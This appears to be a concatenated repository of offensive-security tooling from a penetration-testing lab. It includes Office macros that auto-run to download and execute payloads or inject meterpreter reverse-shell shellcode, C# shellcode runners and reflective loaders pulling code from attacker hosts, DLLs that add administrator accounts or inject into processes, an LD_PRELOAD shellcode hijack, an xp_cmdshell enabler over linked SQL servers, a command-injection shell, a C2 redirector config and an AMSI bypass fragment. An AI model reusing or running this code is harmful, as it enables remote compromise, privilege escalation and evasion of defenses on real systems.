System.Data.SqlClient.SqlCommand 9 | $sqlCmd.Connection = $sqlConnection 10 | 11 | $sqlCmd.CommandText = 'SELECT 1 FROM openquery("{0}",''SELECT 1; EXEC sp_configure ''''show advanced options'''', 1; RECONFIGURE;'')' -f $Link 12 | $reader = $sqlCmd.ExecuteReader() 13 | $reader.Close() 14 | 15 | $sqlCmd.CommandText = 'SELECT 1 FROM openquery("{0}",''SELECT 1;EXEC sp_configure ''''xp_cmdshell'''', 1; RECONFIGURE;'')' -f $Link 16 | $reader = $sqlCmd.ExecuteReader() 17 | $reader.Close() 18 | 19 | $sqlCmd.CommandText = 'SELECT 1 FROM openquery("{0}",''SELECT 1;EXEC xp_cmdshell ''''{1}'''';'')' -f $Link,$Command 20 | $reader = $sqlCmd.ExecuteReader() 21 | while ($reader.Read()){ 22 | $reader[0] 23 | } 24 | $reader.Close() 25 | $sqlConnection.Close() 26 | -------------------------------------------------------------------------------- /csharp/SharpHttpFetch.cs: -------------------------------------------------------------------------------- 1 | // base64 -w 0 payload.bin > /var/www/html/robots.txt 2 | public static byte[] GetShellcode(string url) 3 | { 4 | try 5 | { 6 | // fuck ciphers 7 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; 8 | WebClient client = new WebClient(); 9 | // hood up 10 | client.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); 11 | // yeah yeah 12 | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 13 | client.Proxy = WebRequest.GetSystemWebProxy(); 14 | client.Proxy.Credentials = CredentialCache.DefaultCredentials; 15 | string compressedEncodedShellcode = client.DownloadString(url); 16 | return Convert.FromBase64String(compressedEncodedShellcode); 17 | } 18 | catch (Exception e) 19 | { 20 | Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); 21 | var ret = new byte[] { 0xC3 }; 22 | return ret; 23 | } 24 | } -------------------------------------------------------------------------------- /csharp/GzipBuffer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace PoCBinZip 4 | { 5 | class Program 6 | { 7 | static void Main(string[] args) 8 | { 9 | byte[] buf = Decompress(compressedSC); 10 | 11 | return; 12 | } 13 | public static byte[] Compress(byte[] data) 14 | { 15 | var compressedStream = new MemoryStream(); 16 | using (var gzipStream = new GZipStream(compressedStream, CompressionMode.Compress, false)) 17 | { 18 | gzipStream.Write(data, 0, data.Length); 19 | } 20 | 21 | return compressedStream.ToArray(); 22 | } 23 | 24 | public static byte[] Decompress(byte[] compressedData) 25 | { 26 | var uncompressedStream = new MemoryStream(); 27 | 28 | using (var compressedStream = new MemoryStream(compressedData)) 29 | using (var gzipStream = new GZipStream(compressedStream, CompressionMode.Decompress)) 30 | { 31 | gzipStream.CopyTo(uncompressedStream); 32 | } 33 | 34 | return uncompressedStream.ToArray(); 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /wsh/DownloadAlt.vb: -------------------------------------------------------------------------------- 1 | Sub Wait(n As Long) 2 | Dim t As Date 3 | t = Now 4 | Do 5 | DoEvents 6 | Loop Until Now >= DateAdd("s", n, t) 7 | End Sub 8 | 9 | Sub Execute() 10 | Dim ret 11 | Dim o 12 | Set ret = VBA.CreateObject("WScript.Shell") 13 | o = ret.Run("cscript c:\\windows\\tasks\\main.js") 14 | End Sub 15 | 16 | Sub RemoteFetch() 17 | filepath = "c:\\windows\\tasks\\main.js" 18 | URL = "http://g.somesec.xyz/js/main.js" 19 | 20 | Set xhr = CreateObject("Msxml2.ServerXMLHTTP.6.0") 21 | With xhr 22 | .Open "GET", URL, False 23 | .Send 24 | End With 25 | Wait (2) 26 | If xhr.Status = 200 Then 27 | Set fso = CreateObject("Scripting.FileSystemObject") 28 | If fso.FileExists(filepath) Then fso.DeleteFile (filepath) 29 | 30 | Set stream = CreateObject("ADODB.Stream") 31 | stream.Open 32 | stream.Type = 1 33 | stream.Write (xhr.ResponseBody) 34 | stream.Position = 0 35 | stream.SaveToFile (filepath) 36 | stream.Close 37 | 38 | Execute 39 | End If 40 | End Sub 41 | 42 | Sub AutoOpen() 43 | RemoteFetch 44 | End Sub -------------------------------------------------------------------------------- /msbuild/WorkflowCompiler-Reflective-PE-Runner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Reflection; 4 | using System.Text; 5 | using System.Threading; 6 | using System.Workflow.ComponentModel; 7 | 8 | public class Run : Activity{ 9 | public Run() { 10 | Console.WriteLine("I executed!"); 11 | 12 | byte[] bytes = GetShellcode("http://192.168.49.83/main"); 13 | 14 | var assembly = Assembly.Load(bytes); 15 | MethodInfo method = assembly.EntryPoint; 16 | if (method != null) 17 | { 18 | method.Invoke(null, new object[] { new string[] { } }); 19 | } 20 | } 21 | public static byte[] GetShellcode(string url) 22 | { 23 | WebClient client = new WebClient(); 24 | // what be the user agent? 25 | // Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); 26 | client.Proxy = WebRequest.GetSystemWebProxy(); 27 | client.Proxy.Credentials = CredentialCache.DefaultCredentials; 28 | string compressedEncodedShellcode = client.DownloadString(url); 29 | return Convert.FromBase64String(compressedEncodedShellcode); 30 | } 31 | } -------------------------------------------------------------------------------- /csharp/Reflective-Dll-Runner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Reflection; 4 | using System.Text; 5 | 6 | namespace test 7 | { 8 | class Program 9 | { 10 | static void Main(string[] args) 11 | { 12 | byte[] dll = GetShellcode("http://192.168.49.83/main"); 13 | 14 | Assembly SampleAssembly = Assembly.Load(dll); 15 | 16 | Type t = SampleAssembly.GetType("ManagedClass.Class1"); 17 | 18 | var staticMethod = t.GetMethod("runner"); 19 | 20 | staticMethod.Invoke(null, null); 21 | } 22 | public static byte[] GetShellcode(string url) 23 | { 24 | WebClient client = new WebClient(); 25 | // what be the user agent? 26 | // Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); 27 | client.Proxy = WebRequest.GetSystemWebProxy(); 28 | client.Proxy.Credentials = CredentialCache.DefaultCredentials; 29 | string compressedEncodedShellcode = client.DownloadString(url); 30 | return Convert.FromBase64String(compressedEncodedShellcode); 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /csharp/Reflective-PE-Runner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Reflection; 4 | using System.Text; 5 | using System.Threading; 6 | 7 | namespace test 8 | { 9 | class Program 10 | { 11 | static void Main(string[] args) 12 | { 13 | byte[] bytes = GetShellcode("http://192.168.49.83/main"); 14 | 15 | var assembly = Assembly.Load(bytes); 16 | MethodInfo method = assembly.EntryPoint; 17 | if (method != null) 18 | { 19 | method.Invoke(null, new object[] { new string[] { } }); 20 | } 21 | } 22 | public static byte[] GetShellcode(string url) 23 | { 24 | WebClient client = new WebClient(); 25 | // what be the user agent? 26 | // Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); 27 | client.Proxy = WebRequest.GetSystemWebProxy(); 28 | client.Proxy.Credentials = CredentialCache.DefaultCredentials; 29 | string compressedEncodedShellcode = client.DownloadString(url); 30 | return Convert.FromBase64String(compressedEncodedShellcode); 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /wsh/InMemoryWin32CreateThread.vb: -------------------------------------------------------------------------------- 1 | Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr 2 | 3 | Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr 4 | 5 | Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr 6 | 7 | Function MyMacro() 8 | Dim buf As Variant 9 | Dim addr As LongPtr 10 | Dim counter As Long 11 | Dim data As Long 12 | Dim res As Long 13 | 14 | ' msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.49.83 LPORT=443 EXITFUNC=thread -f vbapplication 15 | buf = Array(232,[...],213) 16 | 17 | addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) 18 | 19 | For counter = LBound(buf) To Ubound(buf) 20 | data = buf(counter) 21 | res = RtlMoveMemory(addr + counter, data, 1) 22 | Next counter 23 | 24 | res = CreateThread(0, 0, addr, 0, 0, 0) 25 | End Function 26 | 27 | Sub Document_Open() 28 | MyMacro 29 | End Sub 30 | 31 | Sub AutoOpen() 32 | MyMacro 33 | End Sub 34 | -------------------------------------------------------------------------------- /csharp/Guardrail-MininumBrowsersChecker.cs: -------------------------------------------------------------------------------- 1 | /* 2 | Minimum number of browsers, C# 3 | Module written by Brandon Arvanaghi 4 | Website: arvanaghi.com 5 | Twitter: @arvanaghi 6 | 7 | modified: @thelikes_ 8 | */ 9 | 10 | using System; 11 | using Microsoft.Win32; 12 | 13 | namespace MinimumNumBrowsersChecker 14 | { 15 | class Program 16 | { 17 | public static bool Check(int num) 18 | { 19 | int browserCount = 0; 20 | string[] browserKeys = { @"SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe", @"SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\iexplore.exe", @"SOFTWARE\Mozilla" }; 21 | 22 | foreach (string browserKey in browserKeys) 23 | { 24 | RegistryKey OpenedKey = Registry.LocalMachine.OpenSubKey(browserKey, false); 25 | if (OpenedKey != null) 26 | { 27 | browserCount += 1; 28 | } 29 | } 30 | 31 | if (browserCount >= num) 32 | { 33 | Console.WriteLine("Proceed!"); 34 | return true; 35 | } 36 | else 37 | { 38 | Console.WriteLine("Number of Browsers: {0}", browserCount); 39 | return false; 40 | } 41 | } 42 | } 43 | } -------------------------------------------------------------------------------- /conf/nginx-redirector.conf: -------------------------------------------------------------------------------- 1 | # Hide nginx version 2 | server_tokens off; 3 | 4 | server { 5 | listen 443 ssl; 6 | server_name attacker.com; 7 | 8 | root /var/www/html; 9 | 10 | # Remove X-Powered-By, Server, X-AspNet-Version headers 11 | more_clear_headers 'Server'; 12 | more_clear_headers 'X-Powered-By'; 13 | 14 | ssl_certificate /etc/letsencrypt/live/attacker.com/fullchain.pem; 15 | ssl_certificate_key /etc/letsencrypt/live/attacker.com/privkey.pem; 16 | 17 | # SSL configuration (if using HTTPS) 18 | ssl_session_timeout 1d; 19 | ssl_session_cache shared:SSL:50m; 20 | ssl_session_tickets off; 21 | 22 | # Modern SSL configuration 23 | ssl_protocols TLSv1.2 TLSv1.3; 24 | ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305; 25 | ssl_prefer_server_ciphers off; 26 | 27 | # Disable directory listing 28 | autoindex off; 29 | 30 | location /dashboard { 31 | proxy_pass https://c2.attacker.com:31433 ; 32 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 33 | } 34 | 35 | location /api { 36 | proxy_pass http://c2.attacker.com:7001 ; 37 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /misc/HtmlSmuggling.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 33 | 34 | -------------------------------------------------------------------------------- /csharp/AddUserAdmin.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.DirectoryServices; 3 | 4 | namespace SharpAddUser 5 | { 6 | class Program 7 | { 8 | static void Main(string[] args) 9 | { 10 | try 11 | { 12 | DirectoryEntry AD = new DirectoryEntry("WinNT://" + 13 | Environment.MachineName + ",computer"); 14 | DirectoryEntry NewUser = AD.Children.Add("ahacker", "user"); 15 | NewUser.Invoke("SetPassword", new object[] { "Passw0rd!" }); 16 | NewUser.Invoke("Put", new object[] { "Description", "Test User from .NET" }); 17 | NewUser.CommitChanges(); 18 | DirectoryEntry grp; 19 | 20 | grp = AD.Children.Find("Guests", "group"); 21 | if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); } 22 | 23 | grp = AD.Children.Find("Administrators", "group"); 24 | if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); } 25 | 26 | Console.WriteLine("[>] Account Created Successfully"); 27 | } 28 | catch (Exception ex) 29 | { 30 | Console.WriteLine(ex.Message); 31 | Console.ReadLine(); 32 | } 33 | } 34 | } 35 | } -------------------------------------------------------------------------------- /wsh/RunnerDecimalObfsNameCheck.vb: -------------------------------------------------------------------------------- 1 | Function Pears(Beets) 2 | Pears = Chr(Beets - 17) 3 | End Function 4 | 5 | Function Strawberries(Grapes) 6 | Strawberries = Left(Grapes, 3) 7 | End Function 8 | 9 | Function Almonds(Jelly) 10 | Almonds = Right(Jelly, Len(Jelly) - 3) 11 | End Function 12 | 13 | Function Nuts(Milk) 14 | Do 15 | Oatmilk = Oatmilk + Pears(Strawberries(Milk)) 16 | Milk = Almonds(Milk) 17 | Loop While Len(Milk) > 0 18 | Nuts = Oatmilk 19 | End Function 20 | 21 | Function MyMacro() 22 | ' check for doc name of "runner.doc" 23 | If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then 24 | Exit Function 25 | End If 26 | 27 | Dim Apples As String 28 | Dim Water As String 29 | ' download cradle (encrypted with "caesar-cradle-encoder.ps1") 30 | Apples = "129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063069074063073068064131134127063133137133056058058" 31 | Water = Nuts(Apples) 32 | GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin 33 | End Function 34 | 35 | Sub AutoOpen() 36 | MyMacro 37 | End Sub 38 | -------------------------------------------------------------------------------- /c/exec_dll-apientry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // source:https://github.com/Mr-Un1k0d3r/DLLsForHackers/blob/master/templates/exec.c 5 | // compile: "c:\Program Files\CodeBlocks\MinGW\bin\g++.exe" -Wall -DBUILD_DLL -O2 -c exec_dll-64.c -o output/exec_dll-64.o && "c:\Program Files\CodeBlocks\MinGW\bin\g++.exe" -shared -Wl,--dll output/exec_dll-64.o -o output/exec_dll-64.dll 6 | 7 | #ifdef BUILD_DLL 8 | #define DLL_EXPORT __declspec(dllexport) 9 | #else 10 | #define DLL_EXPORT __declspec(dllimport) 11 | #endif 12 | 13 | BOOL running = FALSE; 14 | 15 | void DLL_EXPORT initCallback() 16 | { 17 | if(!running) { 18 | system("cmd.exe /c net user hacker Password123! /add"); 19 | system("cmd.exe /c net localgroup administrators hacker /add"); 20 | running = TRUE; 21 | } 22 | 23 | } 24 | 25 | extern "C" DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) 26 | { 27 | switch (fdwReason) 28 | { 29 | case DLL_PROCESS_ATTACH: 30 | initCallback(); 31 | break; 32 | 33 | case DLL_PROCESS_DETACH: 34 | initCallback(); 35 | break; 36 | 37 | case DLL_THREAD_ATTACH: 38 | initCallback(); 39 | break; 40 | 41 | case DLL_THREAD_DETACH: 42 | initCallback(); 43 | break; 44 | } 45 | return TRUE; 46 | } -------------------------------------------------------------------------------- /cpp/DllScInject.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "pch.h" 3 | #include 4 | #include 5 | #include 6 | 7 | /* POC exec shellcode in unmanaged dll 8 | * source: https://github.com/theevilbit/injection 9 | * @thelikes 10 | */ 11 | 12 | extern "C" __declspec(dllexport) void sploit() 13 | { 14 | unsigned char shellcode[] ="\xfc\xe8\x8f\x00"; 15 | 16 | HANDLE processHandle; 17 | HANDLE remoteThread; 18 | PVOID remoteBuffer; 19 | 20 | processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi("1108"))); 21 | remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 22 | WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); 23 | remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); 24 | CloseHandle(processHandle); 25 | } 26 | 27 | BOOL APIENTRY DllMain( HMODULE hModule, 28 | DWORD ul_reason_for_call, 29 | LPVOID lpReserved 30 | ) 31 | { 32 | switch (ul_reason_for_call) 33 | { 34 | case DLL_PROCESS_ATTACH: 35 | sploit(); 36 | break; 37 | case DLL_THREAD_ATTACH: 38 | break; 39 | case DLL_THREAD_DETACH: 40 | break; 41 | case DLL_PROCESS_DETACH: 42 | break; 43 | } 44 | return TRUE; 45 | } 46 | 47 | -------------------------------------------------------------------------------- /wsh/DownloadExec.vb: -------------------------------------------------------------------------------- 1 | Sub MyMacro() 2 | Dim URL As String 3 | Dim filepath As String 4 | 5 | filepath = "c:\\windows\\tasks\\librun.xml" 6 | URL = "http://10.10.14.5:8080/librun.xml" 7 | 8 | Set xhr = CreateObject("MSXML2.XMLHTTP") 9 | With xhr 10 | .Open "GET", URL, False 11 | .Send 12 | End With 13 | 14 | If xhr.Status = 200 Then 15 | Set fso = CreateObject("Scripting.FileSystemObject") 16 | If fso.FileExists(filepath) Then fso.DeleteFile (filepath) 17 | 18 | Set stream = CreateObject("ADODB.Stream") 19 | stream.Open 20 | stream.Type = 1 21 | stream.Write (xhr.ResponseBody) 22 | stream.Position = 0 23 | stream.SaveToFile (filepath) 24 | stream.Close 25 | 26 | ' Shell "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe c:\\windows\\tasks\\librun.xml", vbHide 27 | 28 | Dim wsh As Object 29 | Set wsh = VBA.CreateObject("WScript.Shell") 30 | Dim waitOnReturn As Boolean: waitOnReturn = True 31 | Dim windowStyle As Integer: windowStyle = 1 32 | wsh.Run "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe c:\\windows\\tasks\\librun.xml", 1, True 33 | 34 | 'Dim ws As Object 35 | 'Set ws = CreateObject("WScript.Shell") 36 | 'With ws.Exec("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe c:\\windows\\tasks\\librun.xml") 37 | ' .StdIn.WriteBlankLines 1 38 | ' .Terminate 39 | 'End With 40 | End If 41 | 42 | End Sub -------------------------------------------------------------------------------- /py/request_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | import sys 4 | import readline 5 | 6 | def RunCmd(cmd): 7 | # Add proxy support (eg. BURP to analyze HTTP(s) traffic) 8 | # set verify = False if your proxy certificate is self signed 9 | # remember to set proxies both for http and https 10 | # 11 | # example: 12 | #proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} 13 | #verify = False 14 | proxies = {} 15 | verify = True 16 | 17 | # Headers 18 | headers = { 19 | 'Host': 'victim.com', 20 | 'Accept-Encoding': 'gzip, deflate', 21 | 'Accept': '*/*', 22 | 'Accept-Language': 'en', 23 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 24 | 'Connection': 'close', 25 | } 26 | 27 | # Data 28 | data = r'''''' 29 | 30 | # Cookies 31 | cookies = { 32 | } 33 | 34 | buildurl='https://victim.com/ping.php?ip=zzz;{}'.format(cmd) 35 | 36 | # Prepare and send request 37 | req = requests.Request( 38 | method='GET', 39 | url=buildurl, 40 | headers=headers, 41 | data=data, 42 | cookies=cookies, 43 | ) 44 | prepared_req = req.prepare() 45 | session = requests.Session() 46 | resp = session.send(prepared_req, proxies=proxies) 47 | #print(resp.text) 48 | for line in resp.text.splitlines(): 49 | if not line.startswith("<"): 50 | print(line) 51 | 52 | while True: 53 | cmd = input('> ') 54 | if cmd == "exit" or cmd == "quit": 55 | sys.exit(0) 56 | 57 | RunCmd(cmd) 58 | -------------------------------------------------------------------------------- /msbuild/MSBuild-RunspaceBypass-x64.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 12 | results = ps.Invoke(); 38 | foreach (var result in results) 39 | { 40 | Console.WriteLine(result); 41 | } 42 | rs.Close(); 43 | return true; 44 | } 45 | } 46 | ]]> 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /csharp/ClassSayMyName.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | /* 4 | * Class to extract remote payload URL from pe/lib filename. 5 | */ 6 | namespace SayMyName 7 | { 8 | public class ParseRemote 9 | { 10 | /* 11 | * proceed: 12 | * [>] filename: evil_10.10.14.5_8080.exe 13 | * [>] words count: 3 14 | * [>] word: esmb 15 | * [>] word: 10.10.14.5 16 | * [>] word: 8080.exe 17 | */ 18 | public static string GetUrl(string binName) 19 | { 20 | string ipAddr = "0.0.0.0"; 21 | string ipPort = "80"; 22 | 23 | if (binName.Contains("_")) 24 | { 25 | string[] words = binName.Split('_'); 26 | 27 | /*Console.WriteLine("[>] words count: " + words.Length); 28 | foreach (var word in words) 29 | { 30 | System.Console.WriteLine("[>] word: " + word); 31 | }*/ 32 | 33 | if (words.Length == 3) 34 | { 35 | ipAddr = words[1]; 36 | ipPort = words[2].Split('.')[0]; 37 | } 38 | } 39 | else 40 | { 41 | Console.WriteLine("[!] Unknown remote"); 42 | } 43 | 44 | 45 | return BuildUrl(ipAddr, ipPort); 46 | } 47 | public static string BuildUrl(string addr, string port) 48 | { 49 | string uri = ""; 50 | string proto = ""; 51 | 52 | if (port.Contains("443")) 53 | { 54 | proto = "https"; 55 | } 56 | else 57 | { 58 | proto = "http"; 59 | } 60 | 61 | uri = proto + "://" + addr + ":" + port; 62 | 63 | return uri; 64 | } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /wsh/InMemoryWin32CreateThread-SleepyCaesar.vb: -------------------------------------------------------------------------------- 1 | Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr 2 | 3 | Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr 4 | 5 | Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr 6 | 7 | Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long 8 | 9 | Function MyMacro() 10 | Dim buf As Variant 11 | Dim addr As LongPtr 12 | Dim counter As Long 13 | Dim data As Long 14 | Dim res As Long 15 | ' sleep 16 | Dim t1 As Date 17 | Dim t2 As Date 18 | Dim time As Long 19 | 20 | t1 = Now() 21 | Sleep (2000) 22 | t2 = Now() 23 | time = DateDiff("s", t1, t2) 24 | If time < 2 Then 25 | Exit Function 26 | End If 27 | 28 | ' msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.49.83 LPORT=443 EXITFUNC=thread -f vbapplication 29 | ' C:\Tools\LikesEncoder\bin\Debug\LikesEncoder.exe Z:\meterp-https-x86.bin vba 30 | buf = Array(254, [...], 215) 31 | 32 | For i = 0 To UBound(buf) 33 | buf(i) = buf(i) - 2 34 | Next i 35 | 36 | addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) 37 | 38 | For counter = LBound(buf) To UBound(buf) 39 | data = buf(counter) 40 | res = RtlMoveMemory(addr + counter, data, 1) 41 | Next counter 42 | 43 | res = CreateThread(0, 0, addr, 0, 0, 0) 44 | End Function 45 | 46 | Sub Document_Open() 47 | MyMacro 48 | End Sub 49 | 50 | Sub AutoOpen() 51 | MyMacro 52 | End Sub -------------------------------------------------------------------------------- /csharp/ScRunner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace SharpSCRunner 6 | { 7 | class Program 8 | { 9 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 10 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 11 | 12 | [DllImport("kernel32.dll")] 13 | static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 14 | 15 | [DllImport("kernel32.dll")] 16 | static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 17 | 18 | static void Main(string[] args) 19 | { 20 | byte[] buf = GetShellcode("http://192.168.49.83/account"); 21 | 22 | int size = buf.Length; 23 | 24 | IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, 0x3000, 0x40); 25 | 26 | Marshal.Copy(buf, 0, addr, size); 27 | 28 | IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 29 | 30 | WaitForSingleObject(hThread, 0xFFFFFFFF); 31 | } 32 | public static byte[] GetShellcode(string url) 33 | { 34 | WebClient client = new WebClient(); 35 | // what be the user agent? 36 | // Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36"); 37 | client.Proxy = WebRequest.GetSystemWebProxy(); 38 | client.Proxy.Credentials = CredentialCache.DefaultCredentials; 39 | string compressedEncodedShellcode = client.DownloadString(url); 40 | return Convert.FromBase64String(compressedEncodedShellcode); 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /c/SharedPreLoad.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include // for mprotect 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | unsigned char buf[] = 9 | "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9" 10 | "\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a" 11 | "\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05" 12 | "\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x1f\x90\xc0\xa8" 13 | "\x31\x53\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59" 14 | "\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a" 15 | "\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48" 16 | "\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e" 17 | "\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"; 18 | 19 | uid_t geteuid(void) 20 | { 21 | // set pointer type to old geteuid 22 | typeof(geteuid) *old_geteuid; 23 | 24 | // get memory addr of original 25 | old_geteuid = dlsym(RTLD_NEXT, "geteuid"); 26 | 27 | // fork & run 28 | if (fork() == 0) 29 | { 30 | // we're running inside our newly created child process, run shell 31 | intptr_t pagesize = sysconf(_SC_PAGESIZE); 32 | if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)),pagesize, PROT_READ|PROT_EXEC)) 33 | { 34 | perror("mprotect"); 35 | return -1; 36 | } 37 | int (*ret)() = (int(*)())buf; 38 | ret(); 39 | } 40 | else 41 | { 42 | // otherwise return expected value of geteuid to continue running as intended 43 | printf("HACK: returning from function...\n"); 44 | return (*old_geteuid)(); 45 | } 46 | 47 | printf("HACK: Returning from main...\n"); 48 | return -2; 49 | } -------------------------------------------------------------------------------- /psh/AmsiBypass-AmsiOpenSession.ps1: -------------------------------------------------------------------------------- 1 | function LookupFunc { 2 | 3 | Param ($moduleName, $functionName) 4 | 5 | $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 6 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods') 7 | $tmp=@() 8 | $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 9 | return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName)) 10 | } 11 | 12 | function getDelegateType { 13 | Param ( 14 | [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 15 | [Parameter(Position = 1)] [Type] $delType = [Void] 16 | ) 17 | 18 | $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', 